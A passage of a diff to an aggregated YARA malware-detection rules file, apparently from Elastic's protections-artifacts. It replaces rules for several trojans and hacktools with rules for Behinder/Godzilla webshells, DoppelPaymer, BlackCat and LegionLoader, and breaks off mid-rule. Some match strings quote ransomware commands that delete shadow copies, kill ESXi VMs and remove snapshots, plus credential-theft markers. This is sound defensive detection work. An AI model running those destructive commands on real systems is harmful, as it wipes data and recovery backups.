-		description = "Detects Windows Ransomware Hellokitty (Windows.Ransomware.Hellokitty)"
+		description = "Webshell found in REF2924, either Behinder or Godzilla based shell in C#"
 		author = "Elastic Security"
-		id = "d9391a1a-78d3-4ae6-8e45-630ceec8bade"
-		date = "2021-05-03"
-		modified = "2023-01-04"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_Hellokitty.yar#L61-L80"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "10887d13dba1f83ef34e047455a04416d25a83079a7f3798ce3483e0526e3768"
-		logic_hash = "074ca47c0526d9828f3c07c7d6dbdd1cec609670d70340b022ae2c712ad80305"
+		id = "b9a49f4b-5923-420e-a9e6-9bfa05c93bbf"
+		date = "2023-03-02"
+		modified = "2023-06-13"
+		reference = "https://www.elastic.co/security-labs/ref2924-howto-maintain-persistence-as-an-advanced-threat"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Behinder.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a50ca8df4181918fe0636272f31e19815f1b97cce6d871e15e03b0ee0e3da17b"
+		logic_hash = "2303ef82e4dc5e8be87ddc4563dcd06963d17e1fbf25cf246a6c81e4e74adbcb"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "8779a926a237af0a966534931b60acd54f5d6d65063c070a3621ec604e280ff8"
+		fingerprint = "cb7856a7d3e792cc60837587fe4afc04448af74cb5ce0478a09eb129e53bf7f1"
+		threat_name = "Windows.Trojan.Behinder"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -84860,58 +88672,59 @@ rule ELASTIC_Windows_Ransomware_Hellokitty_D9391A1A : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = { 83 C4 04 85 DB 75 12 0F 10 45 D4 83 C7 10 0F 11 06 83 C6 10 83 }
-		$a2 = { 89 45 F8 3B 5D F4 75 25 3B C6 75 21 6A FF FF 75 14 8B D1 83 }
+		$load = { 53 79 73 74 65 6D 2E 52 65 66 6C 65 63 74 69 6F 6E 2E 41 73 73 65 6D 62 6C 79 }
+		$key = "e45e329feb5d925b" ascii wide
 
 	condition:
-		any of them
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Nuker_12F26779 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Doppelpaymer_6660D29F : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Nuker (Linux.Trojan.Nuker)"
+		description = "Identifies DOPPELPAYMER ransomware"
 		author = "Elastic Security"
-		id = "12f26779-bda5-45b1-925f-75c620d7d840"
-		date = "2021-04-06"
-		modified = "2021-09-16"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Nuker.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "440105a62c75dea5575a1660fe217c9104dc19fb5a9238707fe40803715392bf"
-		logic_hash = "8bafbc2792bd4cacd309efd72d2d8787342685d66785ea41cb57c91519a3c545"
+		id = "6660d29f-aca9-4156-90a0-ce64fded281a"
+		date = "2020-06-28"
+		modified = "2021-08-23"
+		reference = "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Doppelpaymer.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "4c12eaa44f82c6f729e51242c9c1836eb1856959c682e2d2e21b975104c197b6"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "9093a96321ad912f2bb953cce460d0945c1c4e5aacd8431f343498203b85bb9b"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "8bf4d098b8ce9da99a2ca13fa0759a7185ade1b3ab3b281cd15749d68546d130"
+		threat_name = "Windows.Ransomware.Doppelpaymer"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { C4 18 89 45 D8 83 7D D8 FF 75 17 68 ?? ?? 04 08 }
+		$a1 = "Setup run" wide fullword
+		$a2 = "RtlComputeCrc32" ascii fullword
 
 	condition:
-		all of them
+		2 of ($a*)
 }
-rule ELASTIC_Windows_Trojan_Pony_D5516Fe8 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Doppelpaymer_6Ab188Da : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Pony (Windows.Trojan.Pony)"
+		description = "Identifies DOPPELPAYMER ransomware"
 		author = "Elastic Security"
-		id = "d5516fe8-3b25-4c46-9e5b-111ca312a824"
-		date = "2021-08-14"
-		modified = "2021-10-04"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Pony.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "423e792fcd00265960877482e8148a0d49f0898f4bbc190894721fde22638567"
-		logic_hash = "4a850d32fb28477e7e3fef2dda6ba327b800e2ebcae1a483970cde78f34a4ff7"
+		id = "6ab188da-4e73-4669-816c-554b2f04ee65"
+		date = "2020-06-28"
+		modified = "2021-08-23"
+		reference = "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Doppelpaymer.yar#L23-L42"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "429c87d293b7f517a594e8be020cbe7f8302a8b6eb8337f090ca18973aafbde4"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "9d4d847f55a693a45179a904efe20afd05a92650ac47fb19ef523d469a33795f"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "6c33e09e66b337064a1feae5c162f72dc5f6caecaa9829e4ad9fffb10ef3e576"
+		threat_name = "Windows.Ransomware.Doppelpaymer"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -84919,34 +88732,28 @@ rule ELASTIC_Windows_Trojan_Pony_D5516Fe8 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "\\Global Downloader" ascii fullword
-		$a2 = "wiseftpsrvs.bin" ascii fullword
-		$a3 = "SiteServer %d\\SFTP" ascii fullword
-		$a4 = "%s\\Keychain" ascii fullword
-		$a5 = "Connections.txt" ascii fullword
-		$a6 = "ftpshell.fsi" ascii fullword
-		$a7 = "inetcomm server passwords" ascii fullword
+		$d1 = { 56 55 55 55 F7 EF B8 56 55 55 55 8B EA F7 E9 8B C2 8B D1 C1 FA 1F 2B C2 C1 FF 1F 2B EF 8D 14 40 B8 F3 1A CA 6B 2B CA 03 E9 F7 ED 8B CD C1 FA 05 C1 F9 1F 2B D1 6B CA B4 03 CD 74 1C 81 E1 03 00 00 80 7D 07 83 E9 01 83 C9 FC 41 8B C1 F7 D8 85 C9 8D 7C 05 04 0F 45 EF 8D 44 55 02 5D 5F C3 }
 
 	condition:
-		all of them
+		1 of ($d*)
 }
-rule ELASTIC_Windows_Hacktool_Clroxide_D92D9575 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Doppelpaymer_4Fb1A155 : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Clroxide (Windows.Hacktool.ClrOxide)"
+		description = "Identifies DOPPELPAYMER ransomware"
 		author = "Elastic Security"
-		id = "d92d9575-9ad9-464f-95a3-8e100666d7fa"
-		date = "2024-02-29"
-		modified = "2024-03-21"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_ClrOxide.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f3a4900eff80563bff586ced172c3988347980f902aceef2f9f9f6d188fac8e3"
-		logic_hash = "01bb071e1286bb139c5e1c37e421153ef1b28a5994feeaedf6ad27ad7dade5e9"
+		id = "4fb1a155-6448-41e9-829a-e765b7c2570e"
+		date = "2020-06-28"
+		modified = "2021-08-23"
+		reference = "https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Doppelpaymer.yar#L44-L63"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "eb041a836b2bc73312a2f87523d817d5274f3d43d3e5fe6aacfad1399c61a9de"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "b403acddadc5adb982a9ee0e0513ecd471b728680cc9a6cd8cd8150eb9c02776"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "f7c1bb3e9d1ad02e7c4edf8accf326330331f92a0f1184bbc19c5bde7505e545"
+		threat_name = "Windows.Ransomware.Doppelpaymer"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -84954,62 +88761,58 @@ rule ELASTIC_Windows_Hacktool_Clroxide_D92D9575 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$s1 = "clroxide..primitives..imethodinfo"
-		$s2 = "clroxide..clr..Clr"
-		$s3 = "\\src\\primitives\\icorruntimehost.rs"
-		$s4 = "\\src\\primitives\\iclrruntimeinfo.rs"
-		$s5 = "\\src\\primitives\\iclrmetahost.rs"
-		$s6 = "clroxide\\src\\clr\\mod.rs"
-		$s7 = "__clrcall"
+		$c1 = { 83 EC 64 8B E9 8B 44 24 ?? 8B 00 0F B7 10 83 FA 5C 75 }
 
 	condition:
-		2 of them
+		1 of ($c*)
 }
-rule ELASTIC_Linux_Trojan_Rotajakiro_Fb24F399 : FILE MEMORY
+rule ELASTIC_Multi_Ransomware_Blackcat_Aaf312C3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Rotajakiro (Linux.Trojan.Rotajakiro)"
+		description = "Detects Multi Ransomware Blackcat (Multi.Ransomware.BlackCat)"
 		author = "Elastic Security"
-		id = "fb24f399-d2bc-4cca-a3b8-4d924f11c83e"
-		date = "2021-06-28"
-		modified = "2021-09-16"
-		reference = "023a7f9ed082d9dd7be6eba5942bfa77f8e618c2d15a8bc384d85223c5b91a0c"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Rotajakiro.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "be33fdda50ef0ea1a0cf45835cc2b7a805cecb3fff371ed6d93e01c2d477d867"
+		id = "aaf312c3-47b4-4dab-b7fc-8a2ac9883772"
+		date = "2022-02-02"
+		modified = "2023-09-20"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Multi_Ransomware_BlackCat.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0c6f444c6940a3688ffc6f8b9d5774c032e3551ebbccb64e4280ae7fc1fac479"
+		logic_hash = "0771ab5a795af164a568bda036cccf08afeb33458f2cd5a7240349fca9b60ead"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6b19a49c93a0d3eb380c78ca21ce4f4d2991c35e68d2b75e173dc25118ba2c20"
-		severity = "100"
+		fingerprint = "577c7f24a7ecf89a542e9a63a1744a129c96c32e8dccfbf779dd9fc6c0194930"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "multi"
 
 	strings:
-		$a = { 41 56 41 55 41 54 49 89 FD 55 53 48 63 DE 48 83 EC 08 0F B6 17 80 }
+		$chacha20_enc = { EF D9 F3 0F 7F 14 3B F3 0F 7F 5C 3B 10 83 C7 20 39 F8 75 D0 8B }
+		$crc32_imp = { F3 0F 6F 02 66 0F 6F D1 66 0F 3A 44 CD 11 83 C0 F0 83 C2 10 66 0F 3A 44 D4 00 83 F8 0F 66 0F EF C8 66 0F EF CA }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Multi_Hacktool_Rakshasa_D5D3Ef21 : FILE MEMORY
+rule ELASTIC_Multi_Ransomware_Blackcat_00E525D7 : FILE MEMORY
 {
 	meta:
-		description = "Detects Multi Hacktool Rakshasa (Multi.Hacktool.Rakshasa)"
+		description = "Detects Multi Ransomware Blackcat (Multi.Ransomware.BlackCat)"
 		author = "Elastic Security"
-		id = "d5d3ef21-e004-4cb4-8f9f-541e831c8e08"
-		date = "2024-01-24"
-		modified = "2024-01-29"
-		reference = "https://www.elastic.co/security-labs/unmasking-financial-services-intrusion-ref0657"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Multi_Hacktool_Rakshasa.yar#L1-L24"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ccfa30a40445d5237aaee1e015ecfcd9bdbe7665a6dc2736b28e5ebf07ec4597"
-		logic_hash = "123cbea0ce02012a9b22a4a241d11aa9acbb58b50a1bd9228da7cadbf0fa1b4e"
+		id = "00e525d7-a8a6-475f-89ad-607c452aea1e"
+		date = "2022-02-02"
+		modified = "2022-08-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Multi_Ransomware_BlackCat.yar#L22-L43"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0c6f444c6940a3688ffc6f8b9d5774c032e3551ebbccb64e4280ae7fc1fac479"
+		logic_hash = "e44625d0fa8308b9d4d63a9e6920b4da4a2ce124437f122b2c8fe5cf0ab85a6b"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE, MEMORY"
-		fingerprint = "bd25f85a419679d2278e2e3951531950296785ac888bc69b513bab0a9936eacf"
+		fingerprint = "631e30b8b51a5c0a0e91e8c09968663192569005b8bffff9f0474749788e9d57"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -85017,402 +88820,423 @@ rule ELASTIC_Multi_Hacktool_Rakshasa_D5D3Ef21 : FILE MEMORY
 		os = "multi"
 
 	strings:
-		$a1 = { 35 B8 00 00 00 48 89 74 24 38 48 89 5C 24 40 48 89 4C 24 48 48 89 54 }
-		$a2 = "rakshasa/server.init.4.func2" ascii fullword
-		$a3 = "type..eq.rakshasa/server.Conn" ascii fullword
-		$a4 = "rakshasa_lite/aes.Str2bytes" ascii fullword
-		$a5 = "rakshasa_lite/server.doShellcode" ascii fullword
+		$a1 = "ata\",\"boot\",\"config.msi\",\"google\",\"perflogs\",\"appdata\",\"windows.old\"],\"exclude_file_names\":[\"desktop.ini\",\"aut"
+		$a2 = "locker::core::windows::processvssadmin.exe delete shadows /all /quietshadow_copy::remove_all=" ascii fullword
+		$a3 = "\\\\.\\pipe\\__rust_anonymous_pipe1__." ascii fullword
+		$a4 = "--bypass-p-p--bypass-path-path --no-prop-servers \\\\" ascii fullword
 
 	condition:
-		2 of them
+		all of them
 }
-rule ELASTIC_Linux_Hacktool_Lightning_D9A9173A : FILE MEMORY
+rule ELASTIC_Multi_Ransomware_Blackcat_C4B043E6 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Lightning (Linux.Hacktool.Lightning)"
+		description = "Detects Multi Ransomware Blackcat (Multi.Ransomware.BlackCat)"
 		author = "Elastic Security"
-		id = "d9a9173a-6372-4892-8913-77f5749aa045"
-		date = "2022-11-08"
-		modified = "2024-02-13"
-		reference = "https://www.intezer.com/blog/research/lightning-framework-new-linux-threat/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Lightning.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "48f9471c20316b295704e6f8feb2196dd619799edec5835734fc24051f45c5b7"
-		logic_hash = "93961d9771aa4e828e15923064a848291c7814ad4e15e30cd252fc41523d789e"
+		id = "c4b043e6-ff5f-4492-94e3-fd688d690738"
+		date = "2022-09-12"
+		modified = "2022-09-29"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Multi_Ransomware_BlackCat.yar#L45-L63"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "45b8678f74d29c87e2d06410245ab6c2762b76190594cafc9543fb9db90f3d4f"
+		logic_hash = "1262ca76581920f08a6482ead68023fdfff08a9ddd19e00230054e3167dc184c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f6e9d662f22b6f08c5e6d32994d6ed933c6863870352dfb76e1540676663e7e0"
+		fingerprint = "3e89858e90632ad5f4831427bd630252113b735c51f7a1aa1eab8ba6e4c16f18"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "multi"
 
 	strings:
-		$a1 = "cat /sys/class/net/%s/address" ascii fullword
-		$a2 = "{\"ComputerName\":\"%s\",\"Guid\":\"%s\",\"RequestName\":\"%s\",\"Licence\":\"%s\"}" ascii fullword
-		$a3 = "sleep 60 && ./%s &" ascii fullword
-		$a4 = "Lightning.Core" ascii fullword
+		$a = { 28 4C 8B 60 08 4C 8B 68 10 0F 10 40 28 0F 29 44 24 10 0F 10 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Lightning_E87C9D50 : FILE MEMORY
+rule ELASTIC_Multi_Ransomware_Blackcat_70171625 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Lightning (Linux.Hacktool.Lightning)"
+		description = "Detects Multi Ransomware Blackcat (Multi.Ransomware.BlackCat)"
 		author = "Elastic Security"
-		id = "e87c9d50-dafc-45bd-8786-5df646108c8a"
-		date = "2022-11-08"
-		modified = "2024-02-13"
-		reference = "https://www.intezer.com/blog/research/lightning-framework-new-linux-threat/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Lightning.yar#L25-L48"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fd285c2fb4d42dde23590118dba016bf5b846625da3abdbe48773530a07bcd1e"
-		logic_hash = "455ecf97e7becaf9c40843f8a3f60ec233d35e0061c6994f168428a8835c1b20"
+		id = "70171625-c29b-47c1-b572-2e6dc846a907"
+		date = "2023-01-05"
+		modified = "2023-09-20"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Multi_Ransomware_BlackCat.yar#L65-L91"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0c6f444c6940a3688ffc6f8b9d5774c032e3551ebbccb64e4280ae7fc1fac479"
+		logic_hash = "fd07acd7c8627754f000c44827848bf65bcaa96f2dfb46e41542f3c9b40eee78"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "22b982866241d50b6e5d964ee190f6d07982a5d3f0b2352d863c20432d5f785e"
+		fingerprint = "f3f70f92fe9c044f4565fca519cb04a3a54536985c2614077ef92c3193fff9c1"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "multi"
 
 	strings:
-		$a1 = "Execute %s Faild." ascii fullword
-		$a2 = "Lightning.Downloader" ascii fullword
-		$a3 = "Execute %s Success." ascii fullword
-		$a4 = "[-] Socks5 are Running!" ascii fullword
-		$a5 = "[-] Get FileInfo(%s) Faild!" ascii fullword
+		$str0 = "}RECOVER-${EXTENSION}-FILES.txt"
+		$str1 = "?access-key=${ACCESS_KEY}"
+		$str2 = "${NOTE_FILE_NAME}"
+		$str3 = "enable_network_discovery"
+		$str4 = "enable_set_wallpaper"
+		$str5 = "enable_esxi_vm_kill"
+		$str6 = "strict_include_paths"
+		$str7 = "exclude_file_path_wildcard"
+		$str8 = "${ACCESS_KEY}${EXTENSION}"
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Hacktool_Lightning_3Bcac358 : FILE MEMORY
+rule ELASTIC_Multi_Ransomware_Blackcat_E066D802 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Lightning (Linux.Hacktool.Lightning)"
+		description = "Detects Multi Ransomware Blackcat (Multi.Ransomware.BlackCat)"
 		author = "Elastic Security"
-		id = "3bcac358-b4b9-43ae-b173-bebe0c9ff899"
-		date = "2022-11-08"
-		modified = "2024-02-13"
-		reference = "https://www.intezer.com/blog/research/lightning-framework-new-linux-threat/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Lightning.yar#L50-L72"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ad16989a3ebf0b416681f8db31af098e02eabd25452f8d781383547ead395237"
-		logic_hash = "f260372b9f2ea32f93ff7a30dc8239766e713a1e177a483444b14538741c24af"
+		id = "e066d802-b803-4e35-9b53-ae1823662483"
+		date = "2023-07-27"
+		modified = "2023-09-20"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Multi_Ransomware_BlackCat.yar#L93-L113"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "00360830bf5886288f23784b8df82804bf6f22258e410740db481df8a7701525"
+		logic_hash = "00fbb8013faf26c35b6cd8a72ebc246444c37c5ec7a0df2295830e96c01c8720"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7108fab0ed64416cf16134475972f99c24aaaf8a4165b83287f9bdbf5050933b"
+		fingerprint = "05037af3395b682d1831443757376064c873815ac4b6d1c09116715570f51f5d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "multi"
 
 	strings:
-		$a1 = "[+] %s:%s %d,ntop:%s,strport:%s" ascii fullword
-		$a2 = "%s: reading file \"%s\"" ascii fullword
-		$a3 = "%s: kill(%d): %s" ascii fullword
-		$a4 = "%s exec \"%s\": %s" ascii fullword
+		$a1 = "esxcli vm process kill --type=force --world-id=Killing"
+		$a2 = "vim-cmd vmsvc/snapshot.removeall $i"
+		$a3 = "File already has encrypted extension"
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Linux_Trojan_Kaiji_253C44De : FILE MEMORY
+rule ELASTIC_Multi_Ransomware_Blackcat_0Ffb0A37 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Kaiji (Linux.Trojan.Kaiji)"
+		description = "Detects Multi Ransomware Blackcat (Multi.Ransomware.BlackCat)"
 		author = "Elastic Security"
-		id = "253c44de-3f48-49f9-998d-1dec2981108c"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "0ffb0a37-e4c3-45be-bd4d-7033e88635aa"
+		date = "2023-07-29"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Kaiji.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e31eb8880bb084b4c642eba127e64ce99435ea8299a98c183a63a2e6a139d926"
-		logic_hash = "81a07f60765f50c58b2c0f0153367ee570f36c579e9f88fb2f0e49ae5c08773f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Multi_Ransomware_BlackCat.yar#L115-L134"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "57136b118a0d6d3c71e522ea53e3305dae58b51f06c29cd01c0c28fa0fa34287"
+		logic_hash = "4f28281e4b23868c63438d4800b9e5978426e7c98b6142ef8082cfd251cafe57"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "f390a16ca4270dc38ce1a52bbdc1ac57155f369a74005ff2a4e46c6d043b869e"
+		fingerprint = "319b956ddd57bea22cbee7e521649969c5b1f42ee4af49ad6f25847fb8ee9559"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "multi"
 
 	strings:
-		$a = { EB 27 0F B6 1C 10 48 8B 74 24 40 48 8B BC 24 90 00 00 00 88 }
+		$a1 = { C8 C8 00 00 00 89 20 00 00 45 01 00 00 32 22 08 0A 20 64 85 }
+		$a2 = { 67 69 74 68 75 62 2E 63 6F 6D 2D 31 65 63 63 36 32 39 39 64 62 39 65 63 38 32 33 2F 73 69 6D 70 6C 65 6C 6F 67 2D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Kaiji_535F07Ac : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Legionloader_F91120C6 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Kaiji (Linux.Trojan.Kaiji)"
+		description = "Detects Windows Trojan Legionloader (Windows.Trojan.LegionLoader)"
 		author = "Elastic Security"
-		id = "535f07ac-d727-4866-aaed-74d297a1092c"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "f91120c6-395d-4c47-acd2-49c7eb1b8013"
+		date = "2024-06-05"
+		modified = "2024-06-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Kaiji.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "28b2993d7c8c1d8dfce9cd2206b4a3971d0705fd797b9fde05211686297f6bb0"
-		logic_hash = "539977c1076b71873135cfe02153da87c0e9ac17122f04570977a22c92d2694f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_LegionLoader.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "45670ffa9b24542ae84e3c9eb5ce609c2bcd29129215a7f37eb74b6211e32b22"
+		logic_hash = "760402587a9ca3d3e6602fe57d3346ea6f60ba5c8d3a902bf493233baab597b0"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8853b2a1d5852e436cab2e3402a5ca13839b3cae6fbb56a74b047234b8c1233b"
+		fingerprint = "81476a8981ca0dbd7ac32073d6dc4362ae251ff06827c120e902f1aa3a53ce68"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 44 24 10 48 8B 4C 24 08 48 83 7C 24 18 00 74 26 C6 44 24 57 00 48 8B 84 24 98 00 }
